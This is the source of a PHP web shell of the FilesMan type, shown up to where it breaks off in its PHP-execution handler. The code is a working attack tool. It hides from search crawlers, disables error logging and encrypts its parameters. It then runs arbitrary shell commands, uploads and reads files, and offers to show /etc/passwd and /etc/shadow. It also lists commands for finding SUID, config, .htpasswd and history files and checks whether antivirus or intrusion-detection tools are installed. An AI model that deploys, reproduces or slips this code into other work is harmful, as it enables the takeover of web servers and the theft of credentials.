PHP Decode

$zwbftr        = "47f9282d8ff377e3a1b2687f0f3201d813ad19ee243f8116fe45c5b3f03a9ca1";
$wedmq            = "#df5";
$vtdyd   = 'FilesMan';
$plskhr = true;
$gmcca  = 'UTF-8';
$uxebph           = md5( $_SERVER['HTTP_USER_AGENT'] );

if ( empty( $_POST['qurlgv'] ) ) {
	$_POST['qurlgv'] = $gmcca;
}

if ( ! isset( $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] ) ) {
	kbpfmia( md5( $_SERVER['HTTP_HOST'] ) . "bijenuw", $uxebph );
}

if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
	$llqaz = array( "Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
	if ( preg_match( '/' . implode( '|', $llqaz ) . '/i', $_SERVER['HTTP_USER_AGENT'] ) ) {
		header( 'HTTP/1.0 404 Not Found' );
		exit;
	}
}

if ( ! isset( $_POST['ewwnzi'] ) ) {
	if ( isset( $_POST['hqzol'] ) ) {
		$_POST['hqzol'] = iconv( "utf-8", $_POST['qurlgv'], wxfybdw( $_POST['hqzol'], $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] ) );
	}
	if ( isset( $_POST['ansxks'] ) ) {
		$_POST['ansxks'] = iconv( "utf-8", $_POST['qurlgv'], wxfybdw( $_POST['ansxks'], $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] ) );
	}
	if ( isset( $_POST['vcbxl'] ) ) {
		$_POST['vcbxl'] = iconv( "utf-8", $_POST['qurlgv'], wxfybdw( $_POST['vcbxl'], $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] ) );
	}
	if ( isset( $_POST['gyuv'] ) ) {
		$_POST['gyuv'] = iconv( "utf-8", $_POST['qurlgv'], wxfybdw( $_POST['gyuv'], $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] ) );
	}
	if ( isset( $_POST['xjff'] ) ) {
		$_POST['xjff'] = iconv( "utf-8", $_POST['qurlgv'], wxfybdw( $_POST['xjff'], $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] ) );
	}
}





function wxfybdw( $wxsff, $agpf ) {
	$agpf     = base64_encode( $agpf );
	$wxsff     = base64_decode( $wxsff );
	$bfwn = "";
	$tgin = "";
	$shdf       = 0;
	while ( $shdf < strlen( $wxsff ) ) {
		for ( $twyc = 0; $twyc < strlen( $agpf ); $twyc ++ ) {
			$bfwn = chr( ord( $wxsff[ $shdf ] ) ^ ord( $agpf[ $twyc ] ) );
			$tgin .= $bfwn;
			$shdf ++;
			if ( $shdf >= strlen( $wxsff ) ) {
				break;
			}
		}
	}

	return base64_decode( $tgin );
}

@ini_set( 'error_log', null );
@ini_set( 'log_errors', 0 );
@ini_set( 'max_execution_time', 0 );
@set_time_limit( 0 );

if ( version_compare( PHP_VERSION, '5.3.0', '<' ) ) {
	@set_magic_quotes_runtime( 0 );
}


if ( version_compare( PHP_VERSION, '7.4.0', '<' ) ) {
	if ( get_magic_quotes_gpc() ) {

		function nhnru( $vbgp ) {
			return is_array( $vbgp ) ? array_map( 'nhnru', $vbgp ) : stripslashes( $vbgp );
		}

		$_POST   = nhnru( $_POST );
		$_COOKIE = nhnru( $_COOKIE );
	}
}

function wdria() {
	die( "<form method=post><input type=password name=pass><input type=submit value='>>'></form>" );
}

function kbpfmia( $jgbczk, $bgli ) {
	$_COOKIE[ $jgbczk ] = $bgli;
	setcookie( $jgbczk, $bgli );
}

if ( ! empty( $zwbftr ) ) {
	if ( isset( $_POST['pass'] ) && ( hash('gost', $_POST['pass'] ) == $zwbftr ) ) {
		kbpfmia( md5( $_SERVER['HTTP_HOST'] ), $zwbftr );
	}

	if ( ! isset( $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) ] ) || ( $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) ] != $zwbftr ) ) {
		wdria();
	}
}


if ( strtolower( substr( PHP_OS, 0, 3 ) ) == "win" ) {
	$acix = 'win';
} else {
	$acix = 'nix';
}


$efoilx = @ini_get( 'safe_mode' );
if ( ! $efoilx ) {
	error_reporting( 0 );
}

$acdyx = @ini_get( 'disable_functions' );
$vdgb          = @getcwd();
if ( isset( $_POST['ansxks'] ) ) {
	@chdir( $_POST['ansxks'] );
}
$bkmrq = @getcwd();
if ( $acix == 'win' ) {
	$vdgb = str_replace( "\", "/", $vdgb );
	$bkmrq      = str_replace( "\", "/", $bkmrq );
}
if ( $bkmrq[ strlen( $bkmrq ) - 1 ] != '/' ) {
	$bkmrq .= '/';
}

if ( ! isset( $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . 'ajax' ] ) ) {
	$_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . 'ajax' ] = (bool) $plskhr;
}

if ( $acix == 'win' ) {
	$cgghkn = array(
		"List Directory"                   => "dir",
		"Find index.php in current dir"    => "dir /s /w /b index.php",
		"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
		"Show active connections"          => "netstat -an",
		"Show running services"            => "net start",
		"User accounts"                    => "net user",
		"Show computers"                   => "net view",
		"ARP Table"                        => "arp -a",
		"IP Configuration"                 => "ipconfig /all"
	);
} else {
	$cgghkn = array(
		"List dir"                                                    => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
		"show opened ports"                                           => "netstat -an | grep -i listen",
		"process status"                                              => "ps aux",
		"Find"                                                        => "",
		"find all suid files"                                         => "find / -type f -perm -04000 -ls",
		"find suid files in current dir"                              => "find . -type f -perm -04000 -ls",
		"find all sgid files"                                         => "find / -type f -perm -02000 -ls",
		"find sgid files in current dir"                              => "find . -type f -perm -02000 -ls",
		"find config.inc.php files"                                   => "find / -type f -name config.inc.php",
		"find config* files"                                          => "find / -type f -name \"config*\"",
		"find config* files in current dir"                           => "find . -type f -name \"config*\"",
		"find all writable folders and files"                         => "find / -perm -2 -ls",
		"find all writable folders and files in current dir"          => "find . -perm -2 -ls",
		"find all service.pwd files"                                  => "find / -type f -name service.pwd",
		"find service.pwd files in current dir"                       => "find . -type f -name service.pwd",
		"find all .htpasswd files"                                    => "find / -type f -name .htpasswd",
		"find .htpasswd files in current dir"                         => "find . -type f -name .htpasswd",
		"find all .bash_history files"                                => "find / -type f -name .bash_history",
		"find .bash_history files in current dir"                     => "find . -type f -name .bash_history",
		"find all .fetchmailrc files"                                 => "find / -type f -name .fetchmailrc",
		"find .fetchmailrc files in current dir"                      => "find . -type f -name .fetchmailrc",
		"Locate"                                                      => "",
		"locate httpd.conf files"                                     => "locate httpd.conf",
		"locate vhosts.conf files"                                    => "locate vhosts.conf",
		"locate proftpd.conf files"                                   => "locate proftpd.conf",
		"locate psybnc.conf files"                                    => "locate psybnc.conf",
		"locate my.conf files"                                        => "locate my.conf",
		"locate admin.php files"                                      => "locate admin.php",
		"locate cfg.php files"                                        => "locate cfg.php",
		"locate conf.php files"                                       => "locate conf.php",
		"locate config.dat files"                                     => "locate config.dat",
		"locate config.php files"                                     => "locate config.php",
		"locate config.inc files"                                     => "locate config.inc",
		"locate config.inc.php"                                       => "locate config.inc.php",
		"locate config.default.php files"                             => "locate config.default.php",
		"locate config* files "                                       => "locate config",
		"locate .conf files"                                          => "locate '.conf'",
		"locate .pwd files"                                           => "locate '.pwd'",
		"locate .sql files"                                           => "locate '.sql'",
		"locate .htpasswd files"                                      => "locate '.htpasswd'",
		"locate .bash_history files"                                  => "locate '.bash_history'",
		"locate .mysql_history files"                                 => "locate '.mysql_history'",
		"locate .fetchmailrc files"                                   => "locate '.fetchmailrc'",
		"locate backup files"                                         => "locate backup",
		"locate dump files"                                           => "locate dump",
		"locate priv files"                                           => "locate priv"
	);
}

function nqhvpyso() {
	if ( empty( $_POST['qurlgv'] ) ) {
		$_POST['qurlgv'] = $GLOBALS['gmcca'];
	}

	global $wedmq;

	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['qurlgv'] . "'><link rel='icon' type='image/png' sizes='1x1' href='data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mOU1Hu5HQADgQHplQbXNQAAAABJRU5ErkJggg==' /><title>" . $_SERVER['HTTP_HOST'] . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $wedmq !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $wedmq;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $wedmq; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars( $GLOBALS['bkmrq'] ) . "';
    var a_ = '" . htmlspecialchars( @$_POST['hqzol'] ) . "'
    var charset_ = '" . htmlspecialchars( @$_POST['qurlgv'] ) . "';
    var p1_ = '" . ( ( strpos( @$_POST['vcbxl'], "
" ) !== false ) ? '' : htmlspecialchars( $_POST['vcbxl'], ENT_QUOTES ) ) . "';
    var p2_ = '" . ( ( strpos( @$_POST['gyuv'], "
" ) !== false ) ? '' : htmlspecialchars( $_POST['gyuv'], ENT_QUOTES ) ) . "';
    var p3_ = '" . ( ( strpos( @$_POST['xjff'], "
" ) !== false ) ? '' : htmlspecialchars( $_POST['xjff'], ENT_QUOTES ) ) . "';
    var d = document;
    
    function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
    
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.xrpj.hqzol.value=a;else d.xrpj.hqzol.value=a_;
		if(c!=null)d.xrpj.ansxks.value=c;else d.xrpj.ansxks.value=c_;
		if(p1!=null)d.xrpj.vcbxl.value=p1;else d.xrpj.vcbxl.value=p1_;
		if(p2!=null)d.xrpj.gyuv.value=p2;else d.xrpj.gyuv.value=p2_;
		if(p3!=null)d.xrpj.xjff.value=p3;else d.xrpj.xjff.value=p3_;
		d.xrpj.hqzol.value = encrypt(d.xrpj.hqzol.value,'" . $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] . "');
		d.xrpj.ansxks.value = encrypt(d.xrpj.ansxks.value,'" . $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] . "');
		d.xrpj.vcbxl.value = encrypt(d.xrpj.vcbxl.value,'" . $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] . "');
		d.xrpj.gyuv.value = encrypt(d.xrpj.gyuv.value,'" . $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] . "');
		d.xrpj.xjff.value = encrypt(d.xrpj.xjff.value,'" . $_COOKIE[ md5( $_SERVER['HTTP_HOST'] ) . "bijenuw" ] . "');
		if(charset!=null)d.xrpj.qurlgv.value=charset;else d.xrpj.qurlgv.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.xrpj.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ektdzy=true';
		for(i=0;i<d.xrpj.elements.length;i++)
			params += '&'+d.xrpj.elements[i].name+'='+encodeURIComponent(d.xrpj.elements[i].value);
		sr('" . addslashes( $_SERVER['REQUEST_URI'] ) . "', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=xrpj style='display:none;'>
<input type=hidden name=hqzol>
<input type=hidden name=ansxks>
<input type=hidden name=vcbxl>
<input type=hidden name=gyuv>
<input type=hidden name=xjff>
<input type=hidden name=qurlgv>
</form>";

	$tvvh  = @diskfreespace( $GLOBALS['bkmrq'] );
	$ovxti = @disk_total_space( $GLOBALS['bkmrq'] );
	$ovxti = $ovxti ? $ovxti : 1;
	$tdgh    = @php_uname( 'r' );
	$yxey     = @php_uname( 's' );
	$yockt    = 'http://exploit-db.com/search/?action=search&filter_description=';
	if ( strpos( 'Linux', $yxey ) !== false ) {
		$yockt .= urlencode( 'Linux Kernel ' . substr( $tdgh, 0, 6 ) );
	} else {
		$yockt .= urlencode( $yxey . ' ' . substr( $tdgh, 0, 3 ) );
	}

	if ( ! function_exists( 'posix_getegid' ) ) {
		$seurpg  = @get_current_user();
		$hcwkry   = @getmyuid();
		$xktbyr   = @getmygid();
		$ovmz = "?";
	} else {
		$hcwkry   = @posix_getpwuid( posix_geteuid() );
		$xktbyr   = @posix_getgrgid( posix_getegid() );
		$seurpg  = $hcwkry['name'];
		$hcwkry   = $hcwkry['uid'];
		$ovmz = $xktbyr['name'];
		$xktbyr   = $xktbyr['gid'];
	}

	$fcalc = '';
	$ntpcrr      = explode( "/", $GLOBALS['bkmrq'] );
	$aiove         = count( $ntpcrr );
	for ( $shdf = 0; $shdf < $aiove - 1; $shdf ++ ) {
		$fcalc .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for ( $twyc = 0; $twyc <= $shdf; $twyc ++ ) {
			$fcalc .= $ntpcrr[ $twyc ] . '/';
		}
		$fcalc .= "\")'>" . $ntpcrr[ $shdf ] . "/</a>";
	}

	$xtkhk     = array( 'UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866' );
	$fdsg = '';
	foreach ( $xtkhk as $wzugpu ) {
		$fdsg .= '<option value="' . $wzugpu . '" ' . ( $_POST['qurlgv'] == $wzugpu ? 'selected' : '' ) . '>' . $wzugpu . '</option>';
	}

	$pzpg = array(
		'Sec. Info'    => 'SecInfo',
		'Files'        => 'FilesMan',
		'Console'      => 'Console',
		'Php'          => 'Php',
		'String tools' => 'StringTools',
		'Network'      => 'Network'
	);
	if ( ! empty( $GLOBALS['zwbftr'] ) ) {
		$pzpg['Logout'] = 'Logout';
	}

	$pzpg['Self remove'] = 'SelfRemove';
	$avilem             = '';
	foreach ( $pzpg as $jgbczk => $bgli ) {
		$avilem .= '<th width="' . (int) ( 100 / count( $pzpg ) ) . '%">[ <a href="#" onclick="g(\'' . $bgli . '\',null,\'\',\'\',\'\')">' . $jgbczk . '</a> ]</th>';
	}

	$xsitza = "";
	if ( $GLOBALS['acix'] == 'win' ) {
		foreach ( range( 'c', 'z' ) as $ibjk ) {
			if ( is_dir( $ibjk . ':\' ) ) {
				$xsitza .= '<a href="#" onclick="g(\'FilesMan\',\'' . $ibjk . ':/\')">[ ' . $ibjk . ' ]</a> ';
			}
		}
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ( $GLOBALS['acix'] == 'win' ? '<br>Drives:' : '' ) . '</span></td>'
	     . '<td><nobr>' . substr( @php_uname(), 0, 120 ) . ' <a href="' . $yockt . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $hcwkry . ' ( ' . $seurpg . ' ) <span>Group:</span> ' . $xktbyr . ' ( ' . $ovmz . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ( $GLOBALS['efoilx'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>' )
	     . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date( 'Y-m-d H:i:s' ) . '<br>' . fuimmlv( $ovxti ) . ' <span>Free:</span> ' . fuimmlv( $tvvh ) . ' (' . (int) ( $tvvh / $ovxti * 100 ) . '%)<br>' . $fcalc . ' ' . swdedg( $GLOBALS['bkmrq'] ) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['vdgb'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $xsitza . '</td>'
	     . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $fdsg . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
	     . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $avilem . '</tr></table><div style="margin:5">';
}

function jmdrev() {
	$vztyfz = is_writable( $GLOBALS['bkmrq'] ) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
	echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars( $GLOBALS['bkmrq'] ) . "'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$vztyfz<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$vztyfz<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=hqzol value='FilesMAn'>
		<input type=hidden name=ansxks value='" . agwrqomc($GLOBALS['bkmrq']) . "'>
		<input type=hidden name=vcbxl value='".agwrqomc('uploadFile')."'>
		<input type=hidden name=qurlgv value='" . ( isset( $_POST['qurlgv'] ) ? $_POST['qurlgv'] : '' ) . "'>
		<span>Upload file:</span>$vztyfz<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if ( ! function_exists( "posix_getpwuid" ) && ( strpos( $GLOBALS['acdyx'], 'posix_getpwuid' ) === false ) ) {

	function posix_getpwuid( $yejo ) {
		return false;
	}

}
if ( ! function_exists( "posix_getgrgid" ) && ( strpos( $GLOBALS['acdyx'], 'posix_getgrgid' ) === false ) ) {

	function posix_getgrgid( $yejo ) {
		return false;
	}

}

function vwquufev( $lndiqy ) {
	$xhtz = '';
	if ( function_exists( 'exec' ) ) {
		@exec( $lndiqy, $xhtz );
		$xhtz = @join( "
", $xhtz );
	} elseif ( function_exists( 'passthru' ) ) {
		ob_start();
		@passthru( $lndiqy );
		$xhtz = ob_get_clean();
	} elseif ( function_exists( 'system' ) ) {
		ob_start();
		@system( $lndiqy );
		$xhtz = ob_get_clean();
	} elseif ( function_exists( 'shell_exec' ) ) {
		$xhtz = shell_exec( $lndiqy );
	} elseif ( is_resource( $lctwp = @popen( $lndiqy, "r" ) ) ) {
		$xhtz = "";
		while ( ! @feof( $lctwp ) ) {
			$xhtz .= fread( $lctwp, 1024 );
		}
		pclose( $lctwp );
	}

	return $xhtz;
}

function fuimmlv( $adqvpb ) {
	if ( is_int( $adqvpb ) ) {
		$adqvpb = sprintf( "%u", $adqvpb );
	}

	if ( $adqvpb >= 1073741824 ) {
		return sprintf( '%1.2f', $adqvpb / 1073741824 ) . ' GB';
	} elseif ( $adqvpb >= 1048576 ) {
		return sprintf( '%1.2f', $adqvpb / 1048576 ) . ' MB';
	} elseif ( $adqvpb >= 1024 ) {
		return sprintf( '%1.2f', $adqvpb / 1024 ) . ' KB';
	} else {
		return $adqvpb . ' B';
	}
}

function peocjmrj( $yejo ) {
	if ( ( $yejo & 0xC000 ) == 0xC000 ) {
		$shdf = 's';
	} elseif ( ( $yejo & 0xA000 ) == 0xA000 ) {
		$shdf = 'l';
	} elseif ( ( $yejo & 0x8000 ) == 0x8000 ) {
		$shdf = '-';
	} elseif ( ( $yejo & 0x6000 ) == 0x6000 ) {
		$shdf = 'b';
	} elseif ( ( $yejo & 0x4000 ) == 0x4000 ) {
		$shdf = 'd';
	} elseif ( ( $yejo & 0x2000 ) == 0x2000 ) {
		$shdf = 'c';
	} elseif ( ( $yejo & 0x1000 ) == 0x1000 ) {
		$shdf = 'p';
	} else {
		$shdf = 'u';
	}
	$shdf .= ( ( $yejo & 0x0100 ) ? 'r' : '-' );
	$shdf .= ( ( $yejo & 0x0080 ) ? 'w' : '-' );
	$shdf .= ( ( $yejo & 0x0040 ) ? ( ( $yejo & 0x0800 ) ? 's' : 'x' ) : ( ( $yejo & 0x0800 ) ? 'S' : '-' ) );
	$shdf .= ( ( $yejo & 0x0020 ) ? 'r' : '-' );
	$shdf .= ( ( $yejo & 0x0010 ) ? 'w' : '-' );
	$shdf .= ( ( $yejo & 0x0008 ) ? ( ( $yejo & 0x0400 ) ? 's' : 'x' ) : ( ( $yejo & 0x0400 ) ? 'S' : '-' ) );
	$shdf .= ( ( $yejo & 0x0004 ) ? 'r' : '-' );
	$shdf .= ( ( $yejo & 0x0002 ) ? 'w' : '-' );
	$shdf .= ( ( $yejo & 0x0001 ) ? ( ( $yejo & 0x0200 ) ? 't' : 'x' ) : ( ( $yejo & 0x0200 ) ? 'T' : '-' ) );

	return $shdf;
}

function swdedg( $lctwp ) {
	if ( ! @is_readable( $lctwp ) ) {
		return '<font color=#FF0000>' . peocjmrj( @fileperms( $lctwp ) ) . '</font>';
	} elseif ( ! @is_writable( $lctwp ) ) {
		return '<font color=white>' . peocjmrj( @fileperms( $lctwp ) ) . '</font>';
	} else {
		return '<font color=#25ff00>' . peocjmrj( @fileperms( $lctwp ) ) . '</font>';
	}
}

function kabwnw( $ftxh ) {
	if ( function_exists( "scandir" ) ) {
		return scandir( $ftxh );
	} else {
		$hkil = opendir( $ftxh );
		while ( false !== ( $tmouc = readdir( $hkil ) ) ) {
			$qrtppc[] = $tmouc;
		}

		return $qrtppc;
	}
}

function kubtcl( $yejo ) {
	$ntpcrr = vwquufev( 'which ' . $yejo );
	if ( ! empty( $ntpcrr ) ) {
		return $ntpcrr;
	}

	return false;
}

function actionSecInfo() {
	nqhvpyso();
	echo '<h1>Server security information</h1><div class=content>';

	function lvypndbtu( $aiove, $bgli ) {
		$bgli = trim( $bgli );
		if ( $bgli ) {
			echo '<span>' . $aiove . ': </span>';
			if ( strpos( $bgli, "
" ) === false ) {
				echo $bgli . '<br>';
			} else {
				echo '<pre class=ml1>' . $bgli . '</pre>';
			}
		}
	}

	lvypndbtu( 'Server software', @getenv( 'SERVER_SOFTWARE' ) );
	if ( function_exists( 'apache_get_modules' ) ) {
		lvypndbtu( 'Loaded Apache modules', implode( ', ', apache_get_modules() ) );
	}

	lvypndbtu( 'Disabled PHP Functions', $GLOBALS['acdyx'] ? $GLOBALS['acdyx'] : 'none' );
	lvypndbtu( 'Open base dir', @ini_get( 'open_basedir' ) );
	lvypndbtu( 'Safe mode exec dir', @ini_get( 'safe_mode_exec_dir' ) );
	lvypndbtu( 'Safe mode include dir', @ini_get( 'safe_mode_include_dir' ) );
	lvypndbtu( 'cURL support', function_exists( 'curl_version' ) ? 'enabled' : 'no' );
	$twxq = array();

	if ( function_exists( 'mysql_get_client_info' ) ) {
		$twxq[] = "MySql (" . mysql_get_client_info() . ")";
	}
	if ( function_exists( 'mssql_connect' ) ) {
		$twxq[] = "MSSQL";
	}
	if ( function_exists( 'pg_connect' ) ) {
		$twxq[] = "PostgreSQL";
	}
	if ( function_exists( 'oci_connect' ) ) {
		$twxq[] = "Oracle";
	}

	lvypndbtu( 'Supported databases', implode( ', ', $twxq ) );
	echo '<br>';

	if ( $GLOBALS['acix'] == 'nix' ) {
		lvypndbtu( 'Readable /etc/passwd', @is_readable( '/etc/passwd' ) ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no' );
		lvypndbtu( 'Readable /etc/shadow', @is_readable( '/etc/shadow' ) ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no' );
		lvypndbtu( 'OS version', @file_get_contents( '/proc/version' ) );
		lvypndbtu( 'Distr name', @file_get_contents( '/etc/issue.net' ) );
		if ( ! $GLOBALS['efoilx'] ) {
			$vfwmm     = array(
				'gcc',
				'lcc',
				'cc',
				'ld',
				'make',
				'php',
				'perl',
				'python',
				'ruby',
				'tar',
				'gzip',
				'bzip',
				'bzip2',
				'nc',
				'locate',
				'suidperl'
			);
			$hefwv      = array(
				'kav',
				'nod32',
				'bdcored',
				'uvscan',
				'sav',
				'drwebd',
				'clamd',
				'rkhunter',
				'chkrootkit',
				'iptables',
				'ipfw',
				'tripwire',
				'shieldcc',
				'portsentry',
				'snort',
				'ossec',
				'lidsadm',
				'tcplodg',
				'sxid',
				'logcheck',
				'logwatch',
				'sysmask',
				'zmbscap',
				'sawmill',
				'wormscan',
				'ninja'
			);
			$cylkfb = array( 'wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror' );
			echo '<br>';
			$twxq = array();
			foreach ( $vfwmm as $wzugpu ) {
				if ( kubtcl( $wzugpu ) ) {
					$twxq[] = $wzugpu;
				}
			}
			lvypndbtu( 'Userful', implode( ', ', $twxq ) );
			$twxq = array();
			foreach ( $hefwv as $wzugpu ) {
				if ( kubtcl( $wzugpu ) ) {
					$twxq[] = $wzugpu;
				}
			}

			lvypndbtu( 'Danger', implode( ', ', $twxq ) );
			$twxq = array();
			foreach ( $cylkfb as $wzugpu ) {
				if ( kubtcl( $wzugpu ) ) {
					$twxq[] = $wzugpu;
				}
			}

			lvypndbtu( 'Downloaders', implode( ', ', $twxq ) );
			echo '<br/>';
			lvypndbtu( 'HDD space', vwquufev( 'df -h' ) );
			lvypndbtu( 'Hosts', @file_get_contents( '/etc/hosts' ) );
			echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
			if ( isset( $_POST['gyuv'], $_POST['xjff'] ) && is_numeric( $_POST['gyuv'] ) && is_numeric( $_POST['xjff'] ) ) {
				$twxq = "";
				for ( ; $_POST['gyuv'] <= $_POST['xjff']; $_POST['gyuv'] ++ ) {
					$hcwkry = @posix_getpwuid( $_POST['gyuv'] );
					if ( $hcwkry ) {
						$twxq .= join( ':', $hcwkry ) . "
";
					}
				}
				echo '<br/>';
				lvypndbtu( 'Users', $twxq );
			}
		}
	} else {
		lvypndbtu( 'OS Version', vwquufev( 'ver' ) );
		lvypndbtu( 'Account Settings', vwquufev( 'net accounts' ) );
		lvypndbtu( 'User Accounts', vwquufev( 'net user' ) );
	}
	echo '</div>';
	jmdrev();
}

function actionPhp() {
	if ( isset( $_POST['ektdzy'] ) ) {
		kbpfmia( md5( $_SERVER['HTTP_HOST'] ) . 'ajax', true );
		ob_start();
